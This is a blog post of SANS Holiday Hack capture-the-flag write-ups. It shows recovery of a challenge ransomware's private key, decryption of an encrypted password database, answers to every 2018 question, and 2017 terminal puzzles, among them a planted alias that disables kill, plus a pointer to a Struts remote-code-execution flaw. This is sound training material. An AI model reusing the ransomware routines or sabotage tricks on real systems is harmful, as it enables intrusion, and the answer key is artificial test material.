8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

Awesome! We now have the ransomware's private key! We can use it to recover our AES key. But first, we must find our encrypted AES key in our memory dump. To know what we're looking for, let's encrypt a fake AES key using the ransomware's source code and public key, to see the result:

PS C:\> $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274")));
PS C:\> $b_k = @(1..16)
PS C:\> p_k_e $b_k $p_k
b9554cb7ea6ff46c689d90a8d42fc9b9692552d42b6ca34c8aa4593602e7d0cbef88d5dda935960c4ab4e92d789e290c58bf1a280ca9bbf502a8c43ad0eba242e2c8000d5e81fb73aa381dff97cf58c51bb1a49d3a54c15a4de84cf3029cc9dba7364ccc78e95058480f25719cb6aa7763469175dadd031113f6f64ba461adb5303a5c65cb6260bf1ca24eed4e251a99f4219cee6f35aa166e29c3215381bfecd0f9b3eded6acfeeaf8695f55b8e3741c8ca365f8a81560fb92e1bddb11b1bb19399b0a377dd5226e0930ea812c8c151382a7508aab93b4a9f19535fa2808b23520f249bb63d747f3e49a4b279a3cafcadba4daa2175b35d8841def66a2abfd4

Alright, the encrypted key we're looking for seems to be a 512-byte long hex representation. Let's use strings and grep to look for something like this in the memory dump:

$ strings -e b powershell.exe_181109_104716.dmp| grep -E '^[0-9a-f]{512}$'
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

We got a unique match! This may be our luck. Let's hex-decode this string, and try to decrypt it. To decrypt it, I'll use openssl to generate a full certificate, with combined public and private keys in a single file. The resulting .pfx file won't have any passphrase:

NB: Before that, make sure that you add -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- in the public key file.

$ strings -e b powershell.exe_181109_104716.dmp| grep -E '^[0-9a-f]{512}$' | xxd -p -r > encrypted_aes_key.raw
$ openssl pkcs12 -export -in ./public.cer -inkey ./private.key -out wannacookie_cert.pfx
Enter Export Password:
Verifying - Enter Export Password:

Now let's decrypt this key:

PS C:\> $wannacookie_cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("C:\path\to\wannacookie_cert.pfx")
PS C:\> $key_bytes = [System.IO.File]::ReadAllBytes("C:\path\to\encrypted_aes_key.raw")
PS C:\> B2H $($wannacookie_cert.PrivateKey.Decrypt($key_bytes, $true))
fbcfc121915d99cc20a3d3d5d84f8308

We have our decrypted key (well, a decrypted key). Let's see if it works. Since I loath PowerShell's syntax, I'm using a little Python script to decrypt Alabaster's password database:

#!/usr/bin/env python

import sys
import struct
from Crypto.Cipher import AES

def main():
    if len(sys.argv) != 3:
        print 'Usage: {} <file_to_decrypt> <key>'.format(sys.argv[0])
        sys.exit(1)

    encrypted_file = sys.argv[1]
    decrypted_file = encrypted_file.replace('.wannacookie', '')

    with open(encrypted_file, 'rb') as f:
        # We read 4 bytes to get the IV's size
        iv_size = struct.unpack('<i', f.read(4))[0]

        # We read the IV
        iv = f.read(iv_size)

        # We read the rest of the file
        encrypted_content = f.read()

    key = sys.argv[2].decode('hex')

    aes = AES.new(key, AES.MODE_CBC, iv)
    decrypted_content = aes.decrypt(encrypted_content)
    with open(decrypted_file, 'wb') as f:
        f.write(decrypted_content)

if __name__ == '__main__':
    main()

$ ./decrypt_wannacookie.py ./alabaster_passwords.elfdb.wannacookie fbcfc121915d99cc20a3d3d5d84f8308
$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002

Finally! We have our decrypted file:

$ sqlite3 ./alabaster_passwords.elfdb
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE IF NOT EXISTS "passwords" (
    `name`    TEXT NOT NULL,
    `password`    TEXT NOT NULL,
    `usedfor`    TEXT NOT NULL
);
sqlite> select * from passwords where usedfor="vault";
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault

We finally find the final password: ED#ED#EED#EF#G#F#G#ABA#BA#B.

Who Is Behind It All?

Using Alabaster's password, we can now try to enter Santa's vault. We just have to play the tune on the piano lock and...

Damn! This isn't the right key! If you remember Holy Evergreen's document on music transposition, Alabster likes song in the key of D major. Now, we just have to find what's the key of the original song.

We can use the following rules of thumb:

What's the first note? E.
What's the most common note? E.
What's the last note? B.

The two first rules hint that this is in the key of E. Indeed, every note in the password fit in the E major scale (well, except for the borrowed A♯).

Note: this is by no means a fool-proof method to identify the key of a song, but it can be handy.

So, the song is in E major, and we want it in D major. D is a whole step below E, so we must take every note in the song, and move them down one whole step. This gives us DC#DC#DDC#DEF#EF#GAG#AG#A. We can now play this on the piano lock:

This gives us the message You have unlocked Santa's vault!.

Success! We now have access to Santa's vault. Now, to find who is behind it all. We go inside the vault and we find... Hans? And Santa?!

Alabaster says

I'm seriously impressed by your security skills!

How could I forget that I used Rachmaninoff as my musical password?

Of course I transposed it it before I entered it into my database for extra security.

Alabaster steps aside, revealing two familiar, smiling faces.

Hans says

It’s a pleasure to see you again.

Congratulations.

Santa says

You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!

You see, I finally found you!

I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.

That’s why we had so many different challenges this year.

We needed to find someone with skills all across the spectrum.

I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.

And you did!

Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.

See what happens when they take off those hats?

Santa continues

Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.

And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.

You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?

They lived happily ever after.

Thank you, Santa!

Answers to the questions

Let's answer the questions:

What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?

The phrase revealed is Happy Trails.

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?

The talk was submitted by John McClane.

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?

The message is Welcome unprepared speaker!.

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

The password is Yippee-ki-yay, motherf*cker.

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)?

The user is LDUBEJ00320@AD.KRINGLECASTLE.COM.

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?

The access control number is 19880715.

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?

The terrorist organization is Fancy Beaver.

Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

The song is Mary Had a Little Lamb.

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. To start, assist Alabaster by accessing (clicking) the snort terminal below. Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?

The success message is [+] Congratulation! Snort is alerting on all ransomware and only the ransomware!.

After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?

The domain name is erohetfanu.com.

Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?

The sentence is Successfully registered yippeekiyaa.aaay!.

After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?

The password in the database is ED#ED#EED#EF#G#F#G#ABA#BA#B.

Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?

The message is You have unlocked Santa's vault!.

Who was the mastermind behind the whole KringleCon plan?

The mastermind was Santa all along!

Conclusion

Whew! Well, this sure was challenging. For some of these questions, I think I was too focused on one possible answer, and when I saw it wasn't the correct one, I felt out of ideas. For example, I shouldn't have missed the hex encoding of the file names in the ransomware source code, but I was distracted by the unsafe randomness!

Which brings the question, is Get-Random actually cryptographically safe is used without a seed? This seems to contradicts what I've found during my research, but I don't have the answer 🤷‍♂️.

Our next question is, what does erohetfanu (the domain used for the ransomware DNS server) mean? I asked one of my anagram-enthusiast friend what it could mean, and he gave me the following answers:

Four ethane
A fun hetero (I like this one)
Ah fourteen
Unearth foe
Fear the UNO (Hmmm, what?)
One fur heat
Eat, fun hero (Also like this one)
A foe hunter (Probably this one, though)

And finally does this really qualify as a **Christmas** challenge? 😉

Once again, congratulations to the SANS team for a well executed challenge. I enjoyed the fact that it allowed people to use real-world professional tools and techniques (like BloodHound, and Kerberoast). I also really liked the malware analysis portion, even if I was a litle bit frustrated with myself! It's not something that we usually do in our day-to-day work and I enjoyed the exercise.

See you next year!

SANS Christmas Challenge 2017

2018-01-10T00:00:00+01:00

'Tis the season to be pwning, falalalala lalalala. As usual, here's my write-up for the 2017 SANS Christmas Challenge.

Table of contents

Introduction
First page of The Great Book
- North Pole and Beyond: Winter Wonder Landing
Second page of The Great Book
- North Pole and Beyond: Winconceivable: The Cliffs of Winsanity
- North Pole Christmas Town infrastructure: Letters to Santa application
Third page of The Great Book
- North Pole and Beyond: Cryokinetic Magic
- North Pole Christmas Town infrastructure: SMB server
Fourth page of The Great Book
- North Pole and Beyond: There's Snow Place Like Home
  - Cranberry Pi
  - Redirecting the snowball
- North Pole Christmas Town infrastructure: Elf Web Access
Fifth page of The Great Book
- North Pole and Beyond: Bumbles Bounce
  - Cranberry Pi
  - Redirecting the snowball
- North Pole Christmas Town infrastructure: North Pole Police Department web site
Sixth page of The Great Book
- North Pole and Beyond: I don't think we're in Kansas anymore
  - Cranberry Pi
  - Redirecting the snowball
- North Pole Christmas Town infrastructure: Elf as a Service platform
Seventh page of The Great Book
- North Pole and Beyond: Oh wait! Maybe we are...
  - Cranberry Pi
  - Redirecting the snowball
- North Pole Christmas Town infrastructure: Elf-Machine Interface server
Who is behind all this?
- North Pole and Beyond: We're Off To See The...
  - Cranberry Pi
  - Redirecting the snowball
- North Pole Christmas Town infrastructure: Elf Database
Answers to the questions
Conclusion

Introduction

We're greeted by Sam the Snowman, who exposes the situation to us. The North Pole is under siege, attacked by giant falling snowballs, and an Inter-Dimensional Tornado, that shredded The Great Book. This book tells the epic story of the elves. Our mission is to redirect the falling snowballs, find out who is behind all this, and recover the missing seven pages of The Great Book.

Here are the questions we must answer:

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?
The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
Elf Web Access (EWA. is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?
How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
The North Pole engineering team has introduced an Elf as a Service (EaaS. platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI. to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?
Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

This challenge is divided into two targets:

The North Pole Christmas Town infrastructure, which includes the Letters To Santa application, and the internal 10.142.0.0/24 network.
The North Pole and Beyond, where we have to redirect falling snowballs. These levels also have Cranberry Pi terminal with challenges to solve. Solving these challenges gives us objects to redirect the falling snowballs, and hints to the exploitation of the North Pole Christmas Town infrastructure. Hints are also available for the Cranberry Pi terminal challenges, on the Twitter accounts of the different elves.

Now I know that hints can be helpful, but it's more fun to try and figure out how to solve the different challenges our own way. So:

We won't use the Twitter profiles to solve the Cranberry Pi challenges.
I'll post the solutions to the Cranberry Pi challenges, but we won't use the hints that are given after solving.

As usual, I'll try to detail my thought process as much as possible, including dead-ends and mistakes (that's the best way to learn).

Sounds good? Great (plus, you don't really have a say)!

First page of The Great Book

North Pole and Beyond: Winter Wonder Landing

The first page is available in the North Pole and Beyond, in the level Winter Wonder Landing. We must use the giant falling snowball to get the first page. But let's first solve the Cranberry Pi challenge.

Cranberry Pi: Yannick's (dirty) solution

                                 |
                               \ ' /
                             -- (*) --
                                >*<
                               >0<@<
                              >>>@<<*
                             >@>*<0<<<
                            >*>>@<<<@<<
                           >@>>0<<<*<<@<
                          >*>>0<<@<<<@<<<
                         >@>>*<<@<>*<<0<*<
           \*/          >0>>*<<@<>0><<*<@<<
       ___\\U//___     >*>>@><0<<*>>@><*<0<<
       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<
       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
       |\\_|_|&&_// ||*.*.*.*|_\\db//_
       """"|'.'.'.|~~|.*.*.*|     ____|_
           |'.'.'.|   ^^^^^^|____|>>>>>>|
           ~~~~~~~~         '""""`------'
My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.
elf@3b92caa92835:~$

Ok, so we just have to find the elftalkd binary and launch it, easy enough:

elf@2849ef63a77a:~$ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

Hmm, find doesn't work, dammit. We can try to execute a ls -lR /, however this does not give us the full path to the listed files:

elf@2849ef63a77a:/$ ls -lR /
/:
total 64
drwxr-xr-x   2 root   root    4096 Nov 14 13:49 bin
drwxr-xr-x   2 root   root    4096 Apr 12  2016 boot
drwxr-xr-x   5 root   root     360 Dec 23 16:17 dev
drwxr-xr-x   1 root   root    4096 Dec 23 16:17 etc
drwxr-xr-x   1 root   root    4096 Dec  4 14:32 home
drwxr-xr-x   8 root   root    4096 Sep 13  2015 lib
drwxr-xr-x   2 root   root    4096 Nov 14 13:49 lib64
drwxr-xr-x   2 root   root    4096 Nov 14 13:48 media
drwxr-xr-x   2 root   root    4096 Nov 14 13:48 mnt
drwxr-xr-x   2 root   root    4096 Nov 14 13:48 opt
dr-xr-xr-x 292 nobody nogroup    0 Dec 23 16:17 proc
drwx------   2 root   root    4096 Nov 14 13:49 root
drwxr-xr-x   1 root   root    4096 Dec  4 14:32 run
drwxr-xr-x   1 root   root    4096 Nov 17 21:59 sbin
drwxr-xr-x   2 root   root    4096 Nov 14 13:48 srv
dr-xr-xr-x  13 nobody nogroup    0 Dec 21 14:03 sys
drwxrwxrwt   1 root   root    4096 Dec  4 14:32 tmp
drwxr-xr-x   1 root   root    4096 Nov 14 13:48 usr
drwxr-xr-x   1 root   root    4096 Nov 14 13:49 var
/bin:
total 7364
-rwxr-xr-x 1 root root 1037528 May 16  2017 bash
-rwxr-xr-x 1 root root   52080 Mar  2  2017 cat
-rwxr-xr-x 1 root root   60272 Mar  2  2017 chgrp
-rwxr-xr-x 1 root root   56112 Mar  2  2017 chmod
-rwxr-xr-x 1 root root   64368 Mar  2  2017 chown
-rwxr-xr-x 1 root root  151024 Mar  2  2017 cp
[snip]
/var/opt:
total 0
/var/spool:
total 0
lrwxrwxrwx 1 root root 7 Nov 14 13:48 mail -> ../mail
/var/tmp:
total 0

If I pipe this output to a grep elftalkd, we can see that the file exists:

elf@2849ef63a77a:/$ ls -lR / | grep elftalkd
-rwxr-xr-x 1 root root 7385168 Dec  4 14:29 elftalkd

However, we don't have the parent folder. If we look at the full output of ls -lR, we can see that it has this form:

/path/to/folder1
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file1_in_folder_1
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file2_in_folder_1
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file3_in_folder_1
/path/to/folder2
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file1_in_folder_2
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file2_in_folder_2
-rwxr-xr-x 1 root root   52080 Mar  2  2017 file3_in_folder_2
[...]

We can see that we have the full path to the parent folder, and then, line by line, the files contained in this folder. So, if I grep for lines starting with /, along with greping for elftalkd, I'll get an output like this:

[...]
/path/to/folder1
/path/to/folder2
/path/to/elftalkd
-rwxr-xr-x 1 root root   52080 Mar  2  2017 elkftalkd
/path/to/folder3
[...]

However, the result will be lost in a list of folders, so I pipe my output in another grep, where I look for elkftalkd. The -B 1 option tells grep to print the line before the matching line (which should be the line with the parent folder to our program):

elf@2849ef63a77a:/$ ls -lR / | grep -E '^/|elftalkd' | grep -B 1 elftalkd
/run/elftalk/bin:
-rwxr-xr-x 1 root root 7385168 Dec  4 14:29 elftalkd

We now have the full path to our binary, /run/elftalkd/bin/elftalkd. We can now launch it:

elf@2849ef63a77a:/$ /run/elftalk/bin/elftalkd
        Running in interactive mode
        --== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
      _  __ _        _ _       _
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337)
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

Cranberry Pi: the "official" solution

After solving the Cranberry Pi challenge in my (dirty) way, I looked at Bushy Evergreen's twitter profile. In this tweet, he mentions that someone replaced the find executable with a wrong version. Let's take a look at the find executable on the console:

elf@2a00576f91ec:~$ which find
/usr/local/bin/find
elf@2a00576f91ec:~$ file /usr/local/bin/find
/usr/local/bin/find: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=6ebee1b65b978900b5485
2a2d1e698f911064ab3, stripped

Hmm, the find executable seems to be for an ARM processor. However, we appear to be running on an Intel x64 processor:

elf@2a00576f91ec:~$ uname -a
Linux 2a00576f91ec 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux

That's why we got the Exec format error message when we tried to execute it: it's not for the right architecture. Let's copy a x64 find executable to the machine. To do so, I base64-encoded the find binary from my system, pasted it to a file on the Cranberry Pi console, and then decoded it:

elf@2a00576f91ec:~$ echo "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAwHIAAAAAAABAAAAAAAAAAAhbAwAAAAAAAAAAAEAAOAAJ
AEAAHQAcAAYAAAAFAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA
[snip]
AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPxZ
AwAAAAAABgEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=" > ~/find.b64
elf@2a00576f91ec:~$ base64 -d ~/find.b64 > ~/find
elf@2a00576f91ec:~$ chmod +x ~/find
elf@2a00576f91ec:~$ file ~/find
/home/elf/find: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7079a38abca5fb9d188cc66bb15fb
ec5e98f0f00, stripped
elf@2a00576f91ec:~$ ~/find / -name elftalkd 2> /dev/null
/run/elftalk/bin/elftalkd

Redirecting the snowball

Now that we have completed the challenge, we get a new object to redirect our snowballs: the Conveyor, that can redirect snowballs.

Here's the layout I used to redirect the snowball to the first page of The Great Book (Ok, this is dirty, but I didn't understand that if I clicked on the conveyor, I could change its direction):

We now have the first page to The Great Book (sha256: b86eca1fdb8d1fb00c38cebfbca0989579c00b482343dff950310de0f8c77888):

About This Book...

This tome is the work of a successive group of anonymous scribes dedicated to preserving the memory of the exceptional Little People of Oz so that they'll go down in history. Over a span of several centuries, each author has striven to capture the most important social, political, and technological changes the Ozians have experienced from the happy golden days of yore through today.

Each and every author is dedicated to the goal of helping future generations appreciate and understand the unique shared heritage of merriment, mirth, and magnanimity characteristic of the Little People of Oz. This book describes the good times they have shared. Also, it does not shy away from recording the bad times they have suffered as well. Each writer on this great multi-generational project attempts to record and present the facts neutrally, without bias or opinion, uninfluenced as much as possible by factionalism or the controversies of the day.

This North Pole and Beyond level doesn't have a North Pole Christmas Town infrastructure level associated, so let's move on to the next page.

Second page of The Great Book

Now the second page is not in the North Pole and Beyond level, but in the North Pole Christmas Town infrastructure. But let's solve the NPaB challenge first.

North Pole and Beyond: Winconceivable: The Cliffs of Winsanity

Cranberry Pi: Yannick's (dirty) solution

                ___,@
               /  <
          ,_  /    \  _,
      ?    \`/______\`/
   ,_(_).  |; (e  e) ;|
    \___ \ \/\   7  /\/    _\8/_
        \/\   \'=='/      | /| /|
         \ \___)--(_______|//|//|
          \___  ()  _____/|/_|/_|
             /  ()  \    `----'
            /   ()   \
           '-.______.-'
   jgs   _    |_||_|    _
        (@____) || (____@)
         \______||______/
My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.

Kill the "santaslittlehelperd" process to complete this challenge.

Ok, we need to kill the santaslittlehelperd process. Weirdly enough, the kill command did not seem to have any effect on the process:

elf@cc2c61f5d274:~$ ps aux | grep santaslittlehelperd
elf          8  0.0  0.0   4224   684 pts/0    S    17:02   0:00 /usr/bin/santaslittlehelperd
elf        163  0.0  0.0  11284   944 pts/0    S+   17:04   0:00 grep --color=auto santaslittlehelperd
elf@cc2c61f5d274:~$ kill -9 8
elf@cc2c61f5d274:~$ ps aux | grep santaslittlehelperd
elf          8  0.0  0.0   4224   684 pts/0    S    17:02   0:00 /usr/bin/santaslittlehelperd
elf        171  0.0  0.0  11284   944 pts/0    S+   17:04   0:00 grep --color=auto santaslittlehelperd

However, killing the process in the top program seemed to work:

top - 17:05:09 up 2 days,  3:10,  0 users,  load average: 0.05, 0.12, 0.12
Tasks:   6 total,   1 running,   5 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.7 sy,  0.0 ni, 99.3 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 14782588 total,  5738860 free,  1989032 used,  7054696 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 11804040 avail Mem
Send pid 8 signal [15/sigterm] 9
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
    8 elf       20   0    4224    684    612 S   0.0  0.0   0:00.00 santaslittlehel
   11 elf       20   0   13528   6468   1488 S   0.0  0.0   0:00.09 kworker
   12 elf       20   0   18248   3336   2848 S   0.0  0.0   0:00.01 bash
   18 elf       20   0   71468  26636   9420 S   0.0  0.2   0:00.50 kworker
  210 elf       20   0   36672   3124   2660 R   0.0  0.0   0:00.00 top

Cranberry Pi: the "official" solution

After solving the challenge, I checked Sparkle Redberry's Twitter account. In this tweet, she mentions having problems with a malicious alias. Let's run alias on the box to see what's what:

elf@b21389dba617:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'

Ah! There are aliases that prevent us from using kill and the like, which explains why our earlier kill command didn't do anything. We can redefine the aliases, or directly call the binaries.

elf@b21389dba617:~$ which kill
/bin/kill
elf@b21389dba617:~$ ps aux | grep santaslittlehelperd
elf          8  0.0  0.0   4224   624 pts/0    S    17:29   0:00 /usr/bin/santaslittlehelperd
elf        139  0.0  0.0  11284  1024 pts/0    S+   17:31   0:00 grep --color=auto santaslittlehelperd
elf@b21389dba617:~$ /bin/kill -9 8
elf@b21389dba617:~$ ps aux | grep santaslittlehelperd
elf        148  0.0  0.0  11284   992 pts/0    S+   17:31   0:00 grep --color=auto santaslittlehelperd

Redirecting the snowball

Anyway, since we managed to kill the process, we're given a new object: the Candy Cane, which can redirect the snowball.

Now here's the layout I used to redirect the snowball:

North Pole Christmas Town infrastructure: Letters to Santa application

The North Pole fine folks host a web application, where all good boys and girls can send a letter to Santa, requesting their favorite toys:

The question specifies that there is a page of The Great Book at the web root of the server. Let's see, the name of the first page was GreatBookPage1.pdf. Now, what could possibly be the name of this second page... You guessed it, if you browse directly to the URL https://l2s.northpolechristmastown.com/GreatBookPage2.pdf, you get direct access to the second page of The Great Book (sha256: c4983d87ac8debc02a07d586ea9e43839ba081a426b5c490ceadb830c1cc3d4f):

On the Topic of Flying Animals

Originally, only birds could fly in Oz. But, throughout the land, it was universally recognized that other flying animals would bring great economic benefits - faster transportation, decreased shipping costs, and a certain whimsicality that would likely increase tourism. Oz's greatest scientific minds were tasked with the creation of such beasts. Unfortunately, the actual development of flying animal species was plagued with unforeseen difficulties.

The first attempt, a single flying lion name Moonracer, was deemed a failure. Although the lion could indeed fly, children responded in abject terror at his fearsome appearance. The Oz Chamber of Commerce demanded that scientists choose a species less formidable than a lion.

Hoping to correct their error, Ozian scientists next grafted wings onto monkeys, hoping that inherent simian cutenes would prevail. Alas, winged monkeys proved even more horrific than the flying lion.

The exasperated scientists then made their third and final attempt - flying reindeer. Through intense research, they devised an incredible technological advancement, that would allow reindeer to fly without wings! It was an unparalleled genetic and aerodynamic achievement.

Yet, even this advance was accompanied by a slight concern. The deep-seated genetic alterations introduced to support wingless flight resulted in an infinitesimally small probability of a significant side effect: a one-in-a-million chance that a reindeer would one day be born with a brilliantly shiny red nose. Some of the scientists posited such a reindeer's nose would even glow. Despite this change, the reserachers charged ahead to breed an entire herd of such flying reindeer. And, for centuries, the "red nose" phenomenon was never observed in the wild.

Although the flying reindeer were a technological marvel and achieved enormous success in Oz, The Great Schism changed everything. During the separation negotiations, the Wizard of Oz and Santa Claus both decided that Moonrancer and the reindeer would be moved to the North Pole, while the flying monleys would remain in Oz.

Now let's try to pwn this application, in order to get access to the internal network. If we take a look at the source code of the application, we find something interesting:

<!DOCTYPE html>


<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Toys List</title>
    <script src="/js/jquery.min.js"></script>
    <link rel="stylesheet" href="/css/materialize.min.css">
    <script src="/js/materialize.min.js"></script>
    <meta name="description" content="North Pole Letters to Santa">
    <meta name="keywords" content="North,Pole,Letters,Santa,toy,request">
    <meta name="author" content="Alabaster Snowball">
[...]
    <!-- Development version -->
    <a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

There seems to be a hidden link, to a development version of the application:

Users can manually request toys:

Did you notice something interesting in the above screenshots? Let's take a closer look:

This server is using Apache Struts as the application framework! Many of you know that Struts was affected by a pretty serious vulnerability this year, which leads to unauthenticated remote code execution.

